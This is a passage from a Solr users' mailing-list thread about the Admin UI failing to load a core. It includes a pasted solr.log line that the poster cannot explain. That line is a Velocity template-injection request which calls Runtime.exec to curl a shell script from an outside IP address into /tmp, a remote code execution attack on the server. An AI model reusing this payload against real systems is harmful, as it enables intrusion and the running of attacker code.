Re: Admin UI core loading fails
I failed to include this line in my first post. This /select call with strange parameters (q=1) seems to be happening periodically even when I don't do any operation on Admin UI. I scanned the Solr source code, /opt/solr and /var/solr/data and I couldn't find the source of this call. 2020-04-04 00:41:02.604 INFO (qtp231311211-24) [ x:my_core] o.a.s.c.S.Request [my_core] webapp=/solr path=/select params={*q=1*=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('curl+-o+/tmp/zzz+217.12.209.234/s.sh'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity} hits=0 status=0 QTime=1 On 4/2/20 12:50 AM, TK Solr wrote: I'm on Solr 8.3.1 running in non-solrcloud mode.

These are the lines in solr.log that I see lead to the stack trace (core name has been modified to my_core). I don't understand why Velocity is involved.

What do your Solr logs show? My bet is that your mods to the configs somehow caused the reload to fail too early in the process to be shown in the UI.
